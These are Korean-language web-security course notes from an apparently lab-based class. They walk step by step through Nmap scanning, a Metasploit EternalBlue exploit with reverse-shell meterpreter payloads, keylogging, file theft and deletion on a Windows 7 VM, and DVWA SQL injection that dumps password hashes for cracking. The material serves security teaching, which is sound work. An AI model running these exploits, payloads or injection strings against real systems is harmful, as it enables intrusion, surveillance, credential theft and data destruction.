웹 보안 - 1일차
* 약점(Weakness) : 보편적인 측면, 자산에는 약점이 있음 ex) CWE-nnnnn
* 취약점(Vulnerability) : 약점중에서 특히 치명적인 손해/피해를 입을 수 있는 것
* Exploit : 취약점을 공격하는 것 (악용)
- Zero-Day Exploit : 취약점이 발표된 당일부터 공격이 시작된다는 의미, 아직 패치가 배포되기 전까지의 기간, 매매가 되기도 함
- One-Day Exploit : 패치는 배포되었지만 아직 패치를 설치하기 전 상태 (기존 Application이 동작하지 않을수도 있기 때문 : 호환성)
ex) CVE-YYYY-NNNNnnn
cf. 가장 비싼 취약점 : 아이폰 > 기업용 > Windows > Android > .....
* Nmap Script의 위치
$ cd /usr/share/nmap/scripts
$ sudo find . -name "*distcc*" // 아무것도 안나옴
$ sudo fine . -name "*2004-2687*"
* 서비스 이름 뒤에 붙는 d의 정체 : daemon (악마) ----> 메모리에 상주하면서 클라이언트의 요청을 처리하는 프로세스
ex) httpd, telnetd, ftpd, sshd, ....
* Metasploit에서 공격 모듈 검색할 때 아래 두가지 방법으로 검색해도 결과는 같음
search vsftpd 2.3.4
search CVE-2011-2523 // 취약점 번호를 사용하면 매우 정확하게 검색 가능
* Metasploit를 처음 실행할 때 : 피닉스 아이콘 > 08 Exploitation Tools > Metasploit Framework 클릭
-------> DB생성, 사용자생성 등 초기화 작업이 필요하기 때문
* Metasploit를 두번째 실행할 때부터는
$ sudo msfconsole
* 취약점 제보 사이트
- 취약점을 발견한 보안 전문가들이 이 사이트에 제보
- Offensive Security社에서 관리하고 있음 -----> Kali Linux를 배포하는 회사임
- 정확한 취약점 코드를 아는 것이 중요
ex) 프린트나이트메어 취약점은 CVE-2021-1675 아니고 제로데이 : https://www.boannews.com/media/view.asp?idx=98833
-----> 취약점 공식 번호도 받고 패치도 배포했지만, 아직도 Exploit가 가능한 상태라서 제로데이라고 함
* 취약점 검증 단계
1) 기본 스캔 : Version scan, All scan
2) 스크립트를 활용한 상세 스캔
$ sudo find . -name "*서비스*" // * : 아스테리스크 , ~ : 틸드
$ sudo nmap --script=[스크립트이름] [타겟호스트] -p [타겟포트]
3) 구글 검색 : 공식취약점 번호, 특징, 취약점 정보 등 파악
4) Metasploit를 활용해서 검증
* Windows 7 Download
ha.do/v9P (v는 소문자, P는 대문자) ----> 구글 클라우드 사이트 ---> 다운로드
----> 다운로드 다 하신분들은 압축을 풉니다.
* VMware에서 Windows7 실행하기
- Player > File > Open 해서 Windows7 압축 푼 폴더로 들어갑니다.
- Windows 7 x64.vmx 파일을 선택하고 열기
- Play Virtual Machine 클릭, I copied it 선택
- 로그인 : John / 윈도12#$
- 홈네트워크, 나중에 다시 시작
- 업데이트 물어보면 안한다고 하세요.
- Windows7의 cmd> ipconfig (IP주소 파악)
1단계 : 기본 스캔
- Kali Linux에서 IP스캔 방법
$ sudo nmap -sn 192.168.5.100-150 //130번 켜져 있음
- 운영체제(OS)를 알려면
$ sudo nmap -O 192.168.5.130
-----> Running: Microsoft Windows Vista|2008|7
- Kali Linux에서 All 스캔
$ sudo nmap -A 192.168.5.130
------> SMB 취약점에 대해 많은 정보를 알려주고 있음
2단계 : 스크립트를 활용한 상세 스캔
$ cd /usr/share/nmap/scripts
$ sudo find . -name "*smb*"
----> Windows7이 출시된 이후에 나온 취약점 (2009~)
그중에서 smb-vuln-ms17-010.nse 선택해서 스캐닝을 해보겠습니다.
$ sudo nmap --script=smb-vuln-ms17-010.nse 192.168.5.130
----> VULNERABLE: Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
----> CVE-2017-0143
3단계 : 구글 검색
------> 4013389는 무엇인가요? patch번호
Windows7의 cmd> systeminfo 입력해보면, 핫픽스(Hotpix)가 있음 (hotpix는 MS의 패치)
KB2534111, KB976902 두개가 설치되어 있음 ----> 4013389는 없음 ----> 패치가 안되어 있음(공격가능)
(KB : Knowledge Base의 의미)
4단계 : Metasploit로 Exploit
- Kali에서 새탭을 열고
$ sudo msfconsole
msf6> search cve-2017-0143
(Auxiliary는 보조 도구이므로, 공격 모듈은 아님)
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> info // 모듈에 대한 정보를 확인할 수 있음
msf6> set rhost 192.168.5.130 // 윈도7이 리부팅되면 IP가 바뀔수도 있음
msf6> show payloads
msf6> set payload windows/x64/vncinject/reverse_tcp
msf6> set lhost 192.168.5.128 // reverse가 있으면 lhost를 지정해줍니다 (타겟이 Attacker에게 접속하도록 유도)
msf6> set viewonly false // 보기만 할것이 아니고 원격 조종할 예정
msf6> exploit
잘 안되는 경우 : Windows7을 리부팅해보세요.
VNC창을 닫고 엔터를 치면 msf6> 콘솔로 돌아옵니다.
msf6> show payloads
msf6> set payload windows/x64/meterpreter/reverse_tcp // 다른 페이로드로 변경
msf6> exploit
meterpreter> ? // 사용 가능한 명령어들을 볼 수 있음
meterpreter> screenshot // /home/kali 아래에 이미지로 저장됨
* 키로깅(Keylogger 작동시켜서 비밀번호 알아내기)
ps // 프로세스 리스트가 보임
-----> explorer.exe 프로세스의 맨 앞에 있는 번호를 확인합니다. (PID확인)
migrate [PID번호] // explorer.exe의 아래로 이동
keyscan_start
(윈도7에서 네이버 ID/PW를 넣어봅니다, 검색창에 doctor strange 입력)
keyscan_dump
keyscan_stop // 키로거 동작 중지
* 악성코드를 윈도7의 바탕화면으로 보내기
upload /usr/share/windows-binaries/klogger.exe C:/users/john/desktop
윈도우 대소문자 구분 안함
* Windows7에 있는 사진 중에서 3으로 시작하는 파일 가져오기
download C:/users/john/pictures/3* /home/kali
download C:/users/john/pictures/blackpink* /home/kali
* Meterpreter의 특징
- 파일 가져오기, 파일 보내기
- 키로깅
- 스크린샷
---------> 다양한 기능들을 제공, Remote Code Execution (RCE,원격에서 명령 실행 가능)
실습) 내문서에 있는 bitcoin 파일 가져오기
cd C:/users/john
ls
cd documents
download b* /home/kali
실습) 윈도우 쉘을 획득한 후에 파일 삭제하기
shell // 윈도우 커맨드로 변경
cd c:/users/john/pictures
dir
del 3* // 3으로 시작하는 파일을 삭제
dir // 없어졌음을 확인
whoami // 어떤 권한인지 확인 가능
cf. 윈도우의 권한체계 : system > 관리자(administrator) > Desktop사용자 > 일반유저 등등
실습) 사용자 만들어보기 -----> 안됨(권한이 Desktop사용자)
실습) 모든 사용자 확인해보기
net user
실습) 모든 그룹 확인해보기
net localgroup
net localgroup administrators
* 한글이 깨져보이는 이유 : Windows는 EUC-kr(MS에서 만든 한글인코딩), Linux/Web/DB에서 UTF-8을 사용
exit
meterpreter> exit
set payload windows/x64/shell/bind_tcp
exploit
* Windows7에서 로그 보는 방법
실행창에 "이벤트 뷰어" 입력하고 엔터 ----> Windows로그 (보안, 시스템, 어플리케이션)
로그가 없는 이유는 "로컬 보안 정책"을 하지 않았기 때문
* 실행창에 "로컬 보안 정책"
로컬 정책 > 감사 정책 ----> 감사 안함 -----> 로그를 남기지 않도록 설정되어 있음
로그온에서 "성공"에만 체크하면 성공적인 로그온만 로그를 남김, 로그온 실패는 로그를 남기지 않음 ---> Dictionary, Brute Force 모름
로그온에서 "실패"에만 체크하면 공격자가 로그온에 성공한 시점을 알 수 없음
모든 감사 정책에 성공, 실패를 모두 체크하면? 로그가 엄청 많이 생성됨 ----> Rotate 전략
* 요약 : 감사 정책에 체크해야 로그가 생성됨 (기본적으로 감사에 체크되어있지 않음 ---> 로그 안생김)
* 인터넷 만든 사람 : 로버트 칸, 빈트 서프 (미국)
* WWW을 만든 사람 : 팀 버너스 리 (영국)
- 물리학자들이 가장 가고 싶어하는 연구소 : 유럽의 물리 입자 연구소(CERN)
- 사진, 설명, 하이퍼링크 ---> 문서 : html
html과 이미지를 전송하는 프로토콜 : http
- 회원가입, 동적웹페이지 등 추가기능 : ASP,JSP,PHP, Javascript, cookie, DB 사용이 증가 -----> 보안 문제 발생
* HTTP Request Method
- GET과 POST를 제외한 나머지 Method는 굳이 사용할 필요가 없거나 보안 측면에서 위험함
- 웹서버에 대한 보안 인증(ISO27001, ISMS-P)에서 GET과 POST만 허용 (나머지가 있으면 결함)
http respense에서 200ok는 정상이라는것
trace 경로 노출될수도 있어서 쓰면 안됨
delete서버파일 막 지울수 있어서 허용되면 위험
일반적으로 get과post만 씀
* Kali Linux에서 MySQL 연습
$ sudo service mysql start // MySQL 서비스 시작
$ sudo mysql -u root -p
(비밀번호는 설정이 안되어 있음, 그냥 엔터)
> show databases; // 명령어 끝에는 항상 ;을 넣어야 함 (안넣고 엔터치면, 다음줄에서 ; 쓰고 엔터)
information_schema 라는 DB가 있음 ----> DB의 메타값들이 저장되어 있는 스키마 (DB이름, 테이블 이름, 컬럼 이름 등이 저장)
> create database world; // world라는 DB를 만듦
> use world; // world라는 DB를 사용하겠다는 사용 선언
> drop database world;
참고) DB를 사용하다가 ;을 사용하지 않아서 취소하고 싶을 때 \c를 사용
> create database korea charset utf8 collate utf8_general_ci ; // UTF8방식으로 한글을 입력할 수 있음
> use korea;
1) 테이블 만들기
> create table city (
name varchar(10),
phone int(3),
color char(3),
people bigint
);
* Data Type : 지정한 데이터 타입에 맞는 값을 입력해야 함
- varchar (Various Character) : 가변길이 문자열 ----> 지정한 문자를 넘지 않으면 됨 ex) varchar(10) : 10글자 이내로 작성
- char (Character) : 고정길이 문자열 -----> 지정한 개수만큼의 문자를 사용해야함 ex) char(3) : 무조건 세글자
- int (integer) : 정수 (최대 20억정도까지밖에 못씀) ex) 예산, 부동산 가격, 고액 연봉자는 표시할 수 없음
- bigint : 큰 정수
- text : 글을 입력할 수 있음
------> 문자열은 ' '로 묶어주어야 함, 숫자는 그냥 입력
2) 데이터 입력하기
insert into city values ('Seoul', 002, 'BLU', 10000000);
insert into city values ('Daegu', 053, 'GRN', 2000000);
insert into city values ('Busan', 051, 'BLK', 4000000);
insert into city values ('Ulsan', 052, 'SLV', 1000000);
3) 입력한 값들을 보려면?
select * from city;
4) 테이블 구조를 보려면?
desc city;
5) 울산 인구가 300만으로 늘어서 수정하려면?
update city set people=3000000 where name='Ulsan';
cf. admin의 패스워드를 test12#$로 바꾸려면? (테이블명은 member, column명은 passwd라고 함)
update member set passwd='test12#$' where userid='admin'; // 패스워드가 평문으로 저장
update member set passwd=sha2('test12#$', 256) where userid='admin'; // SHA2-256방식으로 해쉬값을 저장하는 방법
* Select문 두개를 연결하려면? UNION
select name,phone from city union select color,people from city;
-----> 앞의 Select문에서 요청한 컬럼 개수와 뒤의 Select문에서 요청한 컬럼 개수가 일치해야 함
select name,phone from city union select color from city; // 에러 발생
* SQL 인젝션의 원리
1) 로직이 참이 되도록 함 : and, or
True and False = False // and는 둘중에 하나만 false여도 false가 됨
True or False = True // or은 둘중에 하나만 True여도 True가 됨
2) 주석처리 : 뒤에 처리되지 않고 남는 부분에 SQL에러를 발생시킴 ----> 주석처리해서 무력화
Oracle, MS-SQL : --
MySQL, MariaDB : #
3) 중첩문을 사용
앞에 SELECT문이 있으면 UNION SELECT로 이어가는 방법
앞에 SELECT문이 있는데 UPDATE문을 사용하고 싶으면 ;으로 마무리 짓고 UPDATE문을 사용
* information_schema 구조
> use information_schema;
> show tables;
-----> Tables라는 테이블과 Columns라는 테이블이 중요
> desc tables;
> select distinct table_schema from tables; // table_schema라는 컬럼만 골라서 보기 (중복제거 : distinct)
----> 데이터베이스의 이름이 보임 (> show databases; 의 결과와 동일함)
> select table_name from tables; // 모든 DB의 테이블이름이 보여짐
> select table_name from tables where table_schema='korea'; // korea라는 DB의 테이블만 보려고 할 때
> desc columns; // columns 테이블의 컬럼 목록 보기
> select column_name from columns; // columns 테이블의 컬럼이름들을 보기
> select column_name from columns where table_name='city'; // 테이블이름이 city인 컬럼이름만 보기
실습) Metasploitable2를 켭니다. (콘솔에서 로그인할 필요 없음)
- Windows10 에서 Web Browser를 열고 주소창에 Meta2의 IP를 넣으세요.
- DVWA 클릭 : admin/password 입력 (아래쪽에 써있음)
- Security Level을 high에서 low로 바꿈
- SQL인젝션 메뉴를 클릭 : 1~5 번(사번) 입력 ---> 이름과 성이 출력됨 (사번조회시스템)
- SELECT문을 예상해보면?
select firstname,sirname from ? where id=' ';
- 전체가 출력되게 하려면?
select firstname,sirname from ? where id='' or 1=1 #'; // 앞의 '와 짝을 만들어주고, or True를 넣고, 뒤의 '는 주석처리
* 다양한 인젝션 구문
' or 1=1 #
' or 2>1 #
' or 'a'='a' #
' or 'T'>'S' #
' or 'a'='a // 어차피 뒤에 남는 '를 활용해서 a를 닫을 때 사용하는 방법 (주석 불필요)
* 로그인 계정의 ID와 PW를 알아내려면?
- DB이름, 테이블이름, 컬럼이름 -----> SQL문을 만들 수 있음
1단계) 앞의 SELECT문에서 요청한 개수를 알아야 UNION을 이용할 수 있음
select ?,? from ? where id='' union select ~~~~ #';
' union select null # // 1개만 넣어보기 ----> 컬럼 개수가 맞지 않는다고 함
' union select null,null # // 2개를 넣어보면 정상 실행됨
' union select null,null,null # // 3개를 넣어보기 ----> 컬럼 개수가 맞지 않는다고 함
2단계) DB이름 알아내기
' union select database(),null #
' union select database(),version() #
' union select database(),user() #
' union select database(),@@version #
------> DB이름 : dvwa
3단계) Table 이름 알아내기
' union select table_name,null from information_schema.tables where table_schema='dvwa' #
----> guestbook, users 라는 테이블이 있음을 확인
4단계) Column 이름 알아내기
' union select column_name,null from information_schema.columns where table_name='users' #
----> user, password
5단계) 각 사용자의 로그인 계정과 패스워드를 알아내기
' union select user,password from users #
admin / 5f4dcc3b5aa765d61d8327deb882cf99 (4bit * 32 = 128bit ----> MD5의 해시값임)
gordonb / e99a18c428cb38d5f260853678922e03
hashes.com 또는 crackstation.net의 free hash cracker 에 해쉬값을 넣으면 원문 패스워드를 찾아줌